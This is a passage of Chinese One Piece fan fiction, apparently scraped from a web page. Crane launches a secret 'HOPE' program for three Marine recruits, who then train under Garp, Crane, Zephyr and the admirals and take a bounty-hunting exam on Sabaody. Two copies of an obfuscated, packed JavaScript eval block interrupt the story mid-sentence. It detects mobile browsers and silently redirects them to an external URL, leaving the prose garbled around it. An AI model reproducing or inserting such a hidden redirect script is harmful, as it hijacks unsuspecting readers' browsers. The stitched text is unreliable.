训练场内的情势相当明了，她扫了一眼便看出，海军新兵几乎丧失了斗志，毫无反抗之意。而另一位挑战者，虽有疲意，但战意却愈发高涨。 结局已分明。 她打量着路希，孩童的身躯内部似乎潜藏着强大的野心。见到了真人，先前从古伊娜那边，以及其它零零碎碎的消息，拼凑出的关于对方的模样便悄然碎裂。 原来是这样的一个孩子啊，她想。 鹤没有阻拦孔雀上场挑战，而是来到了青雉身旁，随意问起了他与路希的相处情况。无休止的训练，绝佳的天赋，短短几日内掌握的六式，最后，她看着败北的孔雀，感受着空气中滂湃的霸气，发出感叹，新兵出了个不得了的怪物。 如果成为敌人，日后恐怕会成为恐怖的对手。她看着孔雀与路希交谈。 路希、古伊娜、孔雀。 鹤的脑海中滑过这三个人的名字与样貌，这是最近几年，她在海军新兵看到过的最佳苗子。她转而又思考起海贼的局势。 与海贼相比，海军简直是人才凋零。 四皇夏洛特·玲玲，凭借着怪物般的身体素质，几乎每年都诞下小孩，而那群小孩也一个个都不负众望的成长为过亿的海贼。 四皇凯多，身体素质与夏洛特·玲玲不相上下，还好是个男的，不能像玲玲那样每年生小孩。不然鹤简直不敢想。但即便如此，旗下的百兽海贼团也不能小觑，几乎大多数属于凯多实力的海贼，都是动物系恶魔果实能力者。 四皇白胡子，同样是个男的，不能生小孩，但热衷于当别人的爹，一年高低得有几千个海贼加入白胡子的海贼团，叫他一声老爹。 四皇香克斯，这人倒是不热衷当爹，麾下也没有无数个海贼团，但他的船员实力是最平均的，虽然人数少但每一个都不能小瞧。此外这位船长的真实身份也很令人头疼。 除却四皇，还有七武海。七武海为何会存在，正是因为他们过于强大，而世界上的海贼太多，海军已经没有多余的精力对付这些海贼，于是只能暂时达成合作。但即便如此，只要抓到机会，海军就会毫不留情地剿灭他们。虽然至今没抓到。 四皇与七武海，以及其他遍布伟大航路的各个海贼团，海军们实在是有心无力。 她、战国、卡普，作为资历最深厚的中将，即将迈入七十岁，普通人到了她们这个年龄早就退休了，哪还需要整天海上跑来跑去的，另外是除她们之外实力最为强大的三大将，这几个人做这个位置都多少年了，还是没能出现一个超越或者媲美他们实力的海军。 人才稀缺，非常严重。 虽然前任大将泽法相当用心的培养新生海军，但人才诞生的速度远远不如海贼。这种时候，看见一个绝佳的种子，就因为一点异常情况，放着无视实在说不过去。 何况照对方这种性格，就算想无视估计也会强势闯入眼中。 鹤有一些小想法，但仍需要和路希交谈过后，进一步了解对方才能确定。 她想做一个实验。 49.在海军 “我有一个问题。” 鹤给路希递去一块小饼干，作为这次谈话的开端。海军新兵挑战事件三日后，她找到正与孔雀、古伊娜待在一起的路希，邀她单独出来谈话。对方接过她的饼干，咬了一口，有礼貌地说道：“是什么，鹤姥姥？” 鹤温和的问下去，“是三个月前，你在文化课上的一个答案。” 路希咽下去口中的食物：“那个回答怎么了吗？” 鹤问：“为什么你会选择杀死那些贵族？” 路希道：“不可以吗？” 鹤说：“所谓贵族，便是特权阶级，拥有远高于平民的权力。” 路希想了一会，认真答道：“可是鹤姥姥，我想保护那些平民。那些人什么都没做错，不应该因为贵族的一句命令就放弃他们的生命。” 鹤说：“这个世界上，很多时候并非是以对错来判断一个人是否该死。” 路希低头看着手中剩下的半块饼干，说道：“那么，我就以自己的意志来决定。”她停了片刻，接下去的语调加了几分轻快，“不过，直接杀死贵族，在加盟国内确实有损海军的威信，如果真遇到这种情况，还是直接打晕比较好。” 路希没等鹤发话，反而对她发问：“鹤中将，你是以贵族的意志而行动的吗？” 鹤笑了笑，说道：“不是。” 鹤结束了这场谈话，她已经得到想要的信息。她并未去问路希为何加入海军，以及为何改变梦想，这些都不重要，想要撒谎的人有一百种方法掩盖自己的真实目的，鹤看到了对方展现出来的态度，这便足够。 路希若有所思地望着鹤离去的背影，有种预感，或许接下去的生活，即将产生变化。 确实如她的预感，不多日，卡普回来后，鹤对现任海军元帅战国提交了一份计划申请，名为“HOPE（希望新星）”。 战国开了一个只有他与鹤以及卡普的会议，问此为何意。 鹤指指计划书，说就是你看见的这个意思，与年年都有过亿赏金诞生的海贼相比，海军式微。海军需要强大的新鲜血液。 鹤看着卡普，又讲了一次传遍海军本部，人尽皆知的新兵挑战事件，她说，蒙奇·D·路希注定是个不合群的海军。 她不喜欢循规蹈矩，自我意识强大，这样的人永远不会乖乖听话，同时她又拥有绝佳的战斗天赋，一颗不算愚蠢的脑子，就算不给机会，她也能凭借自己的实力创建机会爬到海军上层。 鹤说，或许与海贼相比，海军培养新兵的缺点就在于过于遵守规矩。因为海军需要的是听话与强大的人才。不听话，总是意味着麻烦，以及，拥有叛出海军的可能性。可强大的人，总是很难听话。 因此，她想在蒙奇·D·路希、霜月古伊娜、孔雀三人身上做一个实验。 她想给她们三个在海军内部最大限度的行事自由。 海军HOPE（希望新星）计划： 一、参与者必须是拥有正式编号的海军。 二、参与者必须通过特训考核，最终考核任务由计划负责人与至少一位大将决定，顺利完成才可加入。 三、参与者不得损害海军形象。 四、参与者不必遵守大将职位以下海军的命令，而就算大将下达的命令，亦是非必要不遵守。 五、参与者退出计划后才可在海军本部根据过往军功拥有正式职位。 六、参与者可自由在海上出行，在外可暂时获得招收新人的权限，但加入的新人必须回海军本部通过考核才算正式加入。 七、三年内未立任何军功，或造成重大海军重大损失，参与者必须退出计划。 八、若参与者有任何违反海军的举动，由计划负责人、参与者对接人鹤一人承担。 鹤想要在这三个人身上，赌一次海军的未来。 “小鹤你……”战国捏着计划书犹豫不决。 “你怎么看？卡普。别装睡。”鹤抬眼看向卡普。 “嗯？啊？”卡普像是突然被叫醒，挠了挠脖子，茫然地左顾右看，“什么怎么看？很好啊，小鹤你说的我都同意。” 鹤无可奈何地摇摇头，战国盯着计划书陷入沉思。卡普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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HOPE计划有保密制度，不能随意外泄，能知晓这个计划的人只有参与者与负责人，以及大将和大将之上的层级，不过，今天训练结束，她们自可见面，表情可骗不了人。 何况，明日她们就要接受调动，参与者的训练与普通海军并不相同，也不如同新兵那般只局限于本部，至于具体情况，还得等到训练开始才能知晓。 50.在海军 因海军新兵事件一时震动整个海军本部的蒙奇·D·路希，在其他人猜测接下去她会有何种举动，却忽然的消失了。与此同时，兼有敏锐的人发现，与她一同失去动静的，还有女子海军队的古伊娜与孔雀。 至于她们去了哪里，只有当事人自己知道。 既然是特别训练，那么进行训练的当然也是特别教官。既然如此，作为负责人的鹤与卡普，自然是当仁不让。 三人的第一任教官是卡普，偏向于以放养态度教育的他，在训练第一日，便凭借自己过去在海上航行的经验，将路希三人丢到了某处去过的无人岛，让她们进行荒岛求生。随后留了个电话虫，让三个人放弃的时候打电话通知他，便再度出航离去。 而留在无人岛上的三人，衣物，只有两件作简单的换洗。食物，是没有的，需要自己捕猎。住处，以天为被以地为席。 路希对此发出感叹：“有一种回家的感觉。” 之前便听路希讲过卡普过去是如何魔鬼训练她的古伊娜：“……” 不明所以的孔雀：“？” 路希：“在老家的时候，爷爷每次回来也是这么训练我和路飞的。” 孔雀的表情些许微妙：“……听起来，你真是辛苦了。”果然还是她的姥姥更加靠谱一点。 古伊娜更注重当下：“比起这些，我们得先把今晚的住处问题解决了。海岛晚上容易降温，而且……” 她的话不需要说完，密布树木的森林中，已传来一阵接一阵的野兽吼声，有身长数米的鸟儿挥动着翅膀从林中飞出，高高盘旋于天空。尾羽飘动，野兽的目光锁定三个人类。 路希接着古伊娜的话说道：“岛上非常危险。” 孔雀甩了甩鞭子，轻笑道：“我倒要看看，是它们的皮厚些，还是我的鞭子抽打的更锐利些。” 当天晚上她们勉强用不知名鸟类的羽毛铺成床铺歇息，顺带晚饭也是不知名鸟类的肉。 路希啃了一口肉，抱怨道：“没有调味料啊。” 古伊娜皱着眉头嚼嚼嚼：“当时应该从船上的厨房拿点调味品下来的。” 孔雀吃得比较斯文：“还不知道卡普中将什么时候才来接我们呢？就算拿了也不一定够用。” 路希又啃了一口，陷入沉思，提出新想法：“不如到时看看有没有路过的船只，引过来打劫一下好了。” 孔雀礼貌微笑：“我们是海军。” 古伊娜认真建议：“我们可以打扮一下，装作是岛上的野人。” 孔雀：“……” 怎么感觉她的小伙伴正义水平好像有点低，一定是荒岛生活带来的错觉吧。 路希：“不过说来这地方都是无人岛了，也不一定有商船经过。” 古伊娜：“或许会有偏航的船只。” 孔雀也忍不住跟着一起思考：“能沦落到这处地方，大抵都是落难船只。或者……航行路线与商船不同的海贼船。” 路希眼睛亮了亮：“那我们简直是替天行道啊。” 孔雀：“这么说倒也是。” 路希甚至有闲心在饭后往海滩上涂涂画画，孔雀好奇问了一句在画什么，答是召唤海贼船的神秘图案。古伊娜吐槽了一句这种东西根本没用吧，还不如点个篝火用火光吸引可能路过的船只。 遭到反驳的未来世界之王对古伊娜的话表示坚决抗议：“这么一点篝火十几米开外就看不见了，而且还只有一处。”路希神情严肃，“我的建议是我们干脆把整个岛屿都点燃，举行个烧烤大会吧。” 古伊娜：“……”建议的很好，下次不要建议了。 忍无可忍的孔雀学着卡普给了路希一拳头：“你倒是给我爱护环境啊！而且整座岛屿都烧起来了，我们不也成了被烤的肉吗？！” 当然没有因迷之涂鸦被召唤来的海贼船只，外界没有支援，三人只能往岛屿内部努力努力再努力。一个月后，三人在岛上混得就像个土生土长的当地野人。 卡普还没有来接她们，训练不知何时结束。但征服了半个岛屿的三人组已然忘记卡普，现在她们的目标是把整座岛屿的野兽踩在脚下，争当岛屿大王。 两个月后，剩下另一边的岛屿也被三人踏破。她们在岛屿中央建立了自己的基地——其实就是木头堆积起来的房屋，鉴于手艺有限，造型不便多说，至少不会突然塌掉，大概。 途中古伊娜的合道一文字因砍树过于好用而被另二人深深觊觎。对此古伊娜本人表示时常觉得如芒在背。 三人顺带还在海岸边缘建立了瞭望塔，负责瞭望人员是另一不知名鸟类，主打一个看见船只就大喊大叫，但由于一直没有船只经过只能一直保持沉默。毕竟随意乱叫的下场就是被做成烤鸟吃掉。虽然它听不懂人话，但是它看得懂同类的下场。 三个月后，卡普的船只从东海进入伟大航路，前去查看训练情况。 迎接卡普的是骤然冲破天际的鸟类嘶吼，久久不曾停歇。卡普大摇大摆上岛，一拳把乱喊乱叫的鸟打晕，海岸寂静之极，竟无其它声响。三个月前被他丢在岛上的人不见踪影，卡普看了一眼不远处的森林，手一挥，对身后的部下下达命令：“走，进去抓人。” 林中已做好陷阱伏击，兼有不知名各类野兽突袭，主攻手是两个穿着树叶做成的衣服，脸上涂有迷之绿色颜料的野人。野人们一个持刀一个持鞭，在树干上居高临下的望着闯进来的海军。 在一阵双方都视死如归、热血朝天的战斗过后，两个野人被不再看戏的卡普一拳一个打败。 卡普好笑中又带着点没好气地问：“还剩下一个呢？” 古伊娜和孔雀对视一眼，果断卖队友：“她去船上偷调味料了。” 卡普：“……？”他的心中缓缓升起疑问。 一身绿的路希抱了满怀的调味料在厨房打了个喷嚏。 * 卡普的训练结束后是鹤的特训，与卡普的野蛮生长训练不同，鹤更偏向于有计划的、精密性的训练。于是路希三人过上了正常人类的生活，每顿饭都吃得有滋有味，并且一天二十四小时被安排的满满当当，毫无偷懒摸鱼的时间。 三人组看着桌上一大堆的书陷入思索，《恶魔果实图鉴》、《电话虫使用指南》、《伟大航路气候研究学》、《四海简介：东海篇》、《四海简介：南海篇》、《你不知道的新世界小知识》、《岛屿生态观察学》、《你不得不去的十大岛屿景点》、《人体组织报告》、《一招教你看懂对方心理学》、《那些年四皇的爱恨情仇》、《剿杀海贼完全手册》、《荒岛求生手册》诸如此类等等等等。 路希对着鹤发问：“这些都是我们要学的？” 鹤点头：“没错。” 孔雀不可思议地看向鹤：“一本都不能漏？” 鹤继续点头：“没错。” 古伊娜抿抿嘴，问道：“我可以申请增加练剑的时间吗？” 鹤微笑摇头：“不能。” 三人组：“……” 书海虽好，久游亦是痛苦。 然而鹤说一不二，甚至每周还有抽查考试，未得满分者必须上交武器，剥夺战斗课的训练时间。为此古伊娜义愤填膺，在一次差一分就能获得满分的考试后，怒写八百字小作文申请更改此等不合理请求，被鹤无情驳回。 路希：“一直这么看书眼睛真的不会出问题吗……” 古伊娜：“合道一文字……我的合道一文字……” 孔雀：“姥姥……以前从来不会对我这么严厉……呜呜。” 除此之外鹤还会组织麾下的女子海军队伍与三人进行对战训练，亦会让三人各自带领一支队伍互相作战，以各自据点被攻破顺序排名次。 败者没什么惩罚，但是胜利者却能获得一份奖励：可免除一次考试未满分的惩罚。 三个人的眼神都犀利了起来。 * 鹤的训练结束后，负责教导三人的教官名为泽法。路希与古伊娜对此表示没听说过，十分茫然，唯一知晓情况的孔雀带着得意洋洋的表情说道：“求我，我就告诉你们关于泽法教官的信息。” 两人不耻下问，当即求道：“求求你，孔雀老师！” 毫无成就感的孔雀：“……”哎，算了，她认认真真的把自己知晓的信息告诉路希与古伊娜。 泽法是原海军本部大将，对海贼秉持只抓不杀原则，后因家人被海贼杀害，转而去当教官。据悉，现今三任大将都是他教导出来的学生。目前正带领着新兵在伟大航路实习中。 路希听到一半就痛苦地捂住脸：“完了，只抓不杀……我和他的相性一定很差。” 孔雀眯起眼打量着自己的伙伴：“看来你对自己很有自知之明。” 古伊娜则是默默地抚摸着自己的合道一文字：“听上去和鹤中将是不同的教导风格。” 孔雀：“……我姥姥到底给你留下了什么阴影。” 泽法的实习船自然不会中途返航，因此三人乘着鹤的军舰，巡航的途中与泽法会面，进行交接。 路希与古伊娜小心翼翼地上船，观察着新兵的面部表情，以及船上的生态情况。嗯，都在笑，看起来不是特别严厉，应当不会强迫别人强行遵守他的只抓不杀原则。船上看起来也没有专用的图书馆，显然不会同鹤中将一样把她们压在书堆里学习。 确认过情况，安全。两人舒心地笑了。孔雀看着自己两个没出息的同伴，忍不住抽了下嘴角。 在泽法船上的生活确实是三人待着最为轻松快乐的日子。毕竟在这里，要做的只是遵守命令，抓抓海贼。既不会上演与野兽同行，荒岛求生，也不用真的在书海游来游去，游不到尽头。而就算面对海贼船时，泽法要求的也是以她们自身的安全为主。 原来海军的生活，竟然是如此的简单又快乐。 而泽法则是左看右看上看下看无论怎么观察都非常正常的一位关心学生的海军教官。训练至今第一次受到如此关怀，导致下船的时候路希感动地握住泽法的手，诚挚道：“老师，你真是一个好教官。为了感谢你的教导，我保证以后面对非杀不可之人的时候，会尽量一刀毙命，不让他们受到过多痛苦。” 泽法：“呃……这个、这……”这是学到哪里去了啊。 古伊娜和孔雀则是深深鞠了一躬：“感谢教导，泽法老师。” 泽法笑着接过了她们的谢意。 这就是希望新星计划，鹤下注的海军未来吗？从三人在船上的日常情况也能看出来，确实是不错的苗子，或许，他带领的学生也要加把劲努力一下了。 * 继两位中将、一位教官训练后，接下去负责教导的她们的则是大将，负责霸气方面的训练。 路希盘腿坐在石头上，认真道：“我觉得我们就差去海军元帅那里走一遭了。” 孔雀：“海军元帅可是很忙的，只有一个人，三大将好歹还能轮流着教我们。” 古伊娜：“不过，连大将都来负责教导我们。这个计划似乎真的很被看中。” 孔雀：“毕竟是名为希望新星的计划，也就是说，只要我们未来一路顺利的话，大将之位也并非不无可能。” 路希“唔”了一下，并没怎么应声。 古伊娜看了一眼路希，收回视线，说道：“我们以后是要独自出航吧。” 孔雀应声：“是啊，虽然可以结伴同行，但我们三人都必须要有独自出航的能力。所以训练才会这么严格，姥姥还要让我们看那么多书……啊，真是的，想起来头又要痛了。” “就像是海贼那样。”路希终于开口。 “海贼？” “大多数海贼们都是独自出航的，然后在出航中找到自己的手下。那些名震伟大航路的大海贼们，就是这样一路驶过来，与敌人打斗，增强自己的实力与名气，然后，就像飞蛾寻火那样，自有其受到吸引的人加入麾下。” “我们接下去的路会和他们差不多，但区别在于我们得到世界政府和海军的允许。以及，虽然不用遵守许多海军的规矩，拥有相当高的自由度，但我们必须遵守的规矩，是要维护海军的形象，而在这途中，我们遇见的人，我们找到的同伴，也会和我们一样成为海军。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283469|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“希望新星计划，重点不只是被选中的参与者，而在于参与者出航后，可能会引起的一连串效应。但不管如何，这些效应都必须要遵循一件事，即宣传海军的形象。新星，不止是我们，也是未来受到我们吸引，选择加入海军的那些散落的星星。” 古伊娜安静地看着路希，未发一言。倒是孔雀心情很是愉快，“这样听上去也不错嘛。就像野火一样，一处地方燃起火了，就会慢慢将另一处也点燃。而我们就是领头者。” 路希眨眨眼，笑眯眯地看着她，说道：“是啊。” 闲聊的时间并未持续多久，负责教导她们的大将很快到达，来的人有点出乎路希的意料，是赤犬大将。她心中猜想的原本是青雉。 至于赤犬为何是第一个来教导的人，纯粹是因为与其他两个同事相比，他是最负有责任心的一人。比起黄猿对这个计划公式化的赞扬，青雉含糊不清的态度，赤犬认为，这个计划并非没有可行性。 被计划选中的三位参与者，他分别了解过事迹。显然以名为路希的海军最为难管，这种人十分麻烦，但若如果能用得好，这类性格的人必定会在未来成为海军的一大助力。而且，能以霸气一招放倒所有海军新兵，这样的人，加以训练，战斗能力必定能比肩大将。 而其她两个，一个由鹤中将亲口认证在剑术方面的天赋绝佳，一个加入海军一年，从杂役升到了伍长。就近几年的新兵情况而言，她们是最有资格被选中的。因此，他要亲自来考察一下。 赤犬的废话不多，单刀直入，询问三人目前对霸气的掌握情况后，直接说道：“你们三个一起上吧。” 实战，是确认对方水平，并学会与掌握霸气的最快方式。 周围的空气瞬间灼热起来，岩浆在赤犬的血液里滚动。 “我是吃了岩浆果实的岩浆人，安心吧，这场战斗中我不会元素化攻击你们，你们要做的是在接下去的时间内打到我。” 路希、古伊娜与孔雀本身经过三个月的荒岛生存，默契度已相当契合，无需多言，几瞬眼神交流后，由路希率先攻击。 根据《恶魔果实图鉴》的内容，岩浆果实是自然系，除非掌握武装色霸气，或者其它特殊恶魔果实的能力，才有机会攻击到。 她们三个目前都未学会武装色霸气，而赤犬承诺的是不会元素化攻击她们，并未说过不会元素化闪躲。综上所述，这场战斗她们赢的概率接近于无，那么要做的便是在对战过程感受霸气，并抓住它在体内流动的那一瞬间，使用出来。 结果是残酷的。 霸气就像晴朗天气下的日光，虽然可以看见感觉到，但难以将其实质性的抓住。三人没能成功打到赤犬，反而是将自己累得精疲力竭。 赤犬对这个结果并不意外，给了她们十分钟休息时间，十分钟后继续。 时间就这样不知不觉过去，赤犬身为大将十分繁忙，因此只有一上午的时间教导三人。剩下的时间他未布置任务，然而路希她们并不准备休息下去。 孔雀：“既然我们都已经回到了海军总部……” 古伊娜：“这里除却大将外，还有其他很多海军。” 路希一锤定音：“既然如此，就像当初挑战新兵那样，我们一个个打过去吧！” 三人就这样把对提升实力的热情伸向了其他海军，赤犬对此有何意见她们倒是不知道，反而之后收到了一张纸，上面是赤犬对于上午战斗的点评，关于她们的优势与弱势。 路希收到这份评价表后呆了一瞬，那一刻她心中赤犬的形象毫不犹豫的超越了青雉。同时她在心中默默的把赤犬分到了未来可能的强敌选项，毕竟一般而言，做事如此认真之人，在某些方面都有些难以撼动的固执，既然赤犬是海军大将，那么他对海军的忠诚恐怕…… 第二个来教导她们的大将是黄猿，与不苟言笑的赤犬相比，黄猿几乎一直保持笑眯眯的态度，可以说是毫无大将气势可言，给路希一种相当熟悉的感觉，简直就像是和青雉在相处，甚至和黄猿相处更舒服一些，因为此人十分擅长圆滑的说话，甚至战斗的过程也是十分的丝滑，看不见也抓不住。 一场战斗结束，三人达成了一致的想法：闪闪果实能力，好讨厌啊。 黄猿倒是没有同赤犬那般，结束后还专门给她们写了评价报告。不过三人并不是很在意，她们只是如同之前般，继续去挑战其他海军，并且其她两人还计划着，什么时候如同路希那样，对全体海军新兵来个挑战。 因为这种疯狂挑战，且又没有中将以及大将出声加以制止导致挑战愈发变本加厉，海军本部的海军们私下默默给她们贯上了海军三魔头的名号，遵循见到三魔头贯彻先逃再看情况原则。毕竟打了一次还有第二次，打了第二次还有第三次，来来回回根本看不到结束的尽头，这谁能一直忍得了啊。 以至于青雉来教导她们时候，见到的第一句话是，“你们三个，最近很出名啊。” 路希耸耸肩，“与老师你相比，还是差得远。毕竟全海域都知道大将是谁，可离开总部，就没人知道我们是谁。” 青雉：“……没事，照你们这种劲头，恐怕在海上的名声很快就超过我了。” 路希笑笑：“那还得要实力做保证，所以老师，麻烦你了。” 青雉：“……”他是真的觉得路希使唤起他来十分不客气，不知道对赤犬是不是也这种态度。但鉴于他和赤犬的关系，自是不可能直接询问的。于是他决定单方面的认为他与赤犬享受同等待遇。 大将的时间毕竟有限，自然不可能将大部分精力放在新星计划上，因此大部分时间，她们自由活动的时候比较多。不过即便如此，随着一次次的训练，三人对武装色霸气总算入了门，虽然还不能对大将造成一定伤害，但至少有机会攻击到对方元素化的身体。 而特训，也就此结束，距离开始到收尾，竟也过了将近一年的时间。 确认了她们目前的实力水平后，紧接着便是最终考核，经由鹤与卡普商议，交由大将过目，最终考核的内容，是三人去香波地群岛，抓到三名赏金五千万以上的海贼。 51.在海军 香波地群岛在海军本部附近，与一般岛屿不同，这座岛屿有七十九处区域，因其建立在七十九棵大树的树根上。 它是海贼们通往新世界的必经之处，因此总是热闹非常。但因海军本部就在不远处，岛上又设有驻扎基地，通常不会有海贼主动惹事。 路希曾来到过这里一次，那还是她刚与青雉认识的时候，她缠着青雉训练，青雉忍无可忍选择骑车出航，她跟在后面中途被提上车。当时她到达的目的地便是香波地群岛。 路希只记得这里总是有肥皂泡升上高空，随后在到达高度极限时破裂。青雉说这是由于红树分泌的特殊树脂碰到空气形成的，是只能在红树范围内才能形成的泡泡，也是当地一大特色。 但当时天色已晚，她们只是在岛上吃了顿饭便返回海军本部，她都没有时间好好体验这种特色。现在她与古伊娜以及孔雀在白日到来，任务时间有三天。 孔雀同她一样不是初来此处，平时海军的休假日也会来这里逛逛。唯一一个初次到来的是古伊娜。三人下船，踏上青翠的地面，路希忽然说道：“你说不定能在这里遇见几个剑客呢。” 不必说出名字，其她二人也知道她在与谁说话，毕竟用刀作为武器，对剑客有执念的只有古伊娜。 古伊娜的笑容有些许期待，应道：“我会找到的。” 三人先是去了位于六十六号的海军基地，查看岛上的海贼信息，这里的基地负责人已提前收到中将传来的命令，虽然困惑为何要听令眼前的三个人，但上级的命令不可违抗，她尽职尽责地将几人需要的信息交给她们。 目前的香波地群岛，赏金过亿的海贼有三位，一亿一下，五千万、包括五千万以上的海贼有八位，而五千万以下一千万以上的海贼有数百位。路希她们并不准备作多余的举动，翻看信息过后选中了自己想抓的三个人。考核内容经由中将和大将决定，显然经过考察后，这就是她们现在的能力极限。何况她们这次的目标是通过考核，以求稳为主。 不过路希还是留意了一下三位过亿的海贼，其中有两个是恶魔果实能力者，另一个则是凭借残暴的事迹出名。 路希选中的海贼名为巴洛特，是巴洛特海贼船的船长，无恶魔果实能力，擅长用枪，赏金五千七百万。孔雀和古伊娜选中的海贼金额与她只有几百万的浮动，同样没有恶魔果实能力，不过古伊娜在那八位海贼中找到了一名武器是刀的剑客。 出发前，她顺口询问了一下古伊娜和孔雀：“一起还是分开？” “分开。” 得到了两道异口同声的回答，意料之中。 古伊娜要比剑术，自然不会让她们从旁协助。而考核本身就有锻炼她们能力的意思，协同作战成功的几率更大，可单独作战更能证明自己的能力。而且，三个人都相信，自己有单打独斗的本事。 “好吧，那有事电话虫联系。” 道别完毕，三人各自前去狩猎自己的目标。 根据情报，巴洛特这两天正在寻找渡膜匠，准备穿过红土大陆前往新世界。五十到五十九号皆属于造船所区域。造船厂区域有不少海贼，不过，也有普通平民来此处与一些店铺谈好交易，暂时让他们保管自己的船只。毕竟另一种去新世界的办法，是获取世界政府的允许，从红土大陆上方经过，可没法带着船只。 为了防止引起注意，她在来之前还换了套普通衣服。 路希不疾不徐走着，观察周围情况的同时思考着怎么抓捕巴洛特。作为悬赏千万级别的海贼，多少是有点本事在身上的。何况，除了巴洛特，还有他的小弟们要处理。 不知道能不能放出霸王色霸气把这群人全部震晕，路希认真思索着这个可能性，但都来到伟大航路前半段的终点了，想来也是有几分霸气资质的。她更倾向于偷袭这个选项，香波地群岛树木茂盛，植被繁密，十分适合躲藏。 五十到五十三的区域皆不见巴洛特踪迹，直至五十四号，终于在一个镀膜匠身前发现对方的身影。两人似乎正在商讨船身镀膜的事情。 巴洛特随身带着的小弟并不多，只有三个，看起来懒散非常，蹲在路边打着哈欠。他的枪支挂在腰上。 路希站定观望了一会，随后慢吞吞地走过去。巴洛特跟着的小弟少，警惕性弱，周围也未发现值得注意的海贼，是出手的好机会。 她离巴洛特越来越近，近到能清晰的听见他与镀膜匠的交谈。一个表达对其手艺的怀疑之情，另一个好脾气的表示自己的手艺绝对值得信任。 蹲在路边的小弟们察觉到有人朝他们的方向走来，细看只是个没什么威胁的小孩，于是又继续神游。 路希走至巴洛特背后，对方很高，将近两米，影子笼罩住她的身影。她抬起手，不声不响地释放了指枪，将巴洛特的枪支从他的腰间击飞。 “嗯？！” 巴洛特反应警觉，瞬间进入战斗状态。几个小弟见状，立马原地站起。而路希直接使用月步，几个踏步登空，抽出水管击中巴洛特脊背。 同时，她直接发动霸王色霸气，震晕了那几个小喽啰。巴洛特毕竟算是大海贼，在脊椎被打与霸气震慑下，只是头晕目眩，站立不稳，然而这一瞬的空当足够，路希从不会放跑这种机会，她下手狠厉，直指人体的脆弱部分。 战斗在一分钟之内结束，期间巴洛特虽尝试反抗，但皆被路希镇压。 让路希些许出乎意料的是，那个镀膜匠老人也没有晕过去，一脸好整以暇的看着这场战斗。等结束时，见路希抬眼朝他看去，才慢悠悠举起双手，做出投降姿势，问道：“我也要被打吗？” 他一副悠哉悠哉的模样，看不出半点害怕。路希盯着他看了片刻，问道：“你是海贼吗？” 镀膜老人笑着答道：“我现在只是个镀膜匠。”这句话说完，他还心痛地叹了口气，“这笔订单算是吹了，你害我损失了一份酒钱。” 路希：“我不会伤害普通平民。另外，订单的事我很抱歉，但你可以跟我回这里的海军基地拿赔偿金。” 另一重身份为海贼王船上副船长的雷利情绪微妙，说道：“我走不动这么远的路了。”他还能活很久，是不会模仿罗杰自投罗网的。但对方的战斗招式与回答引起了他的注意。他继续问道，“你是海军吗？” 路希点头：“是。”她顺便提出了第二个可行性方案，“你可以把你的住址告诉我，之后我把赔偿金送过去，我很年轻，可以走很多路。” 雷利：“……不，不过是一笔酒钱而已，我还可以接其他的单子赚回来。” 他摆摆手，就要离开，现在的年轻海军可真是不得了，恐怕未来的新生海贼们要经受不少磨难了。 路希没有拦住这个老人。她在这个老人身上感受不到任何攻击性与强大之处，但这才是恐怖之处，因为普通的老人没法挡住她的霸气。看起来像是隐退的海贼，只是不知姓名，想要知晓信息恐怕得从年代更为久远的通缉令翻找。 她扯下巴洛特的衣服，撕成布条将他和他手下们的手连着绑在一起，拖着他们返回海军基地。一路上自是引起了旁人的围观，但无一人敢上前询问情况，只有几个人潜藏在暗中跟踪，而跟踪的人发现她的目的地是海军基地时，也消失不见了。 巴洛特剩下的部下应当很快会收到他们船长被打败的消息，但抓他的人是海军，一切就要另当别论了。 路希从海军基地重新出来时，换上了海军制服，准备去其它区域转一下。香波地群岛是人口贩卖聚集之地，人口买卖是必不可少的风景线，连贵族与天龙人都会前来这里的拍卖场选购。一个单独乱晃的小孩极其容易被盯上，海军制服好歹能起到点威慑作用。 她准备去游乐园玩一下。至于古伊娜和孔雀，既然她都能如此轻松打败敌人，那么她们肯定也能做到，无须担心。 然而休息时间不过半，路希还没走到游乐园，便收到古伊娜通过电话虫传来的紧急联络。 古伊娜那边出了情况。 古伊娜选中的海贼剑客赏金五千六百万，以她自身的实力，打败对方的难度不是特别高。毕竟她先前一直对战训练的对象可是三大将，加之掌握武装色霸气，普通的海贼并非古伊娜的对手。 只是不凑巧的，这位海贼剑客在今日与另一名海贼起了冲突，战斗后落败，选择加入对方的海贼船。而打败他的海贼，是赏金一亿五千万的酒酒果实能力者，巴斯克·乔特。 刚收的手下被打了，作为老大自然要找回场子。 古伊娜现在正在二十号区逃跑，等待同伴们的到来，同时思考着对策。追击她的那位海贼看中了她的战斗能力，并未下死手，如果古伊娜愿意上他的船，这事就能一笔勾销。然而她对当海贼没有任何兴趣。 巴斯克的果实能力能制造酒精并用其发射火焰。现在，他正坐在用能力制造出来的酒精泡泡上，喝着酒不断吐出火焰追击古伊娜。 接二连三的火球自空中朝她袭来，古伊娜反手用手中之刀挥出剑风击飞，一些火球燃烧着掉落在草地中，点燃了地面，但因先前被剑风所击，火势微弱，并未燃成大火。 巴斯克坐在上空满脸醉醺醺，“放弃吧，何必做自寻死路的事呢。” 而也就是在这时，古伊娜听见了熟悉的鞭子抽打声。 “石击——” 是孔雀，她本来就在附近的其它区域寻找目标，谁知还未找到便收到古伊娜对上过亿海贼的求助信息，紧急赶来。等会解决完毕，一定要让古伊娜帮忙一起找她的狩猎对象。 鞭子重重落在地上零落的石块上，石块们弹跳起来，仿佛有生命般的射向空中的巴斯克。 “嗯？！”虽然看上去一副醉相，但巴斯克可没有真的醉过去，他控制着酒精泡泡躲过攻击，在高空眯眼打量起底下的孔雀，“又来一位？” “要放弃的是你这位大叔吧。”孔雀毫不留情地说道。 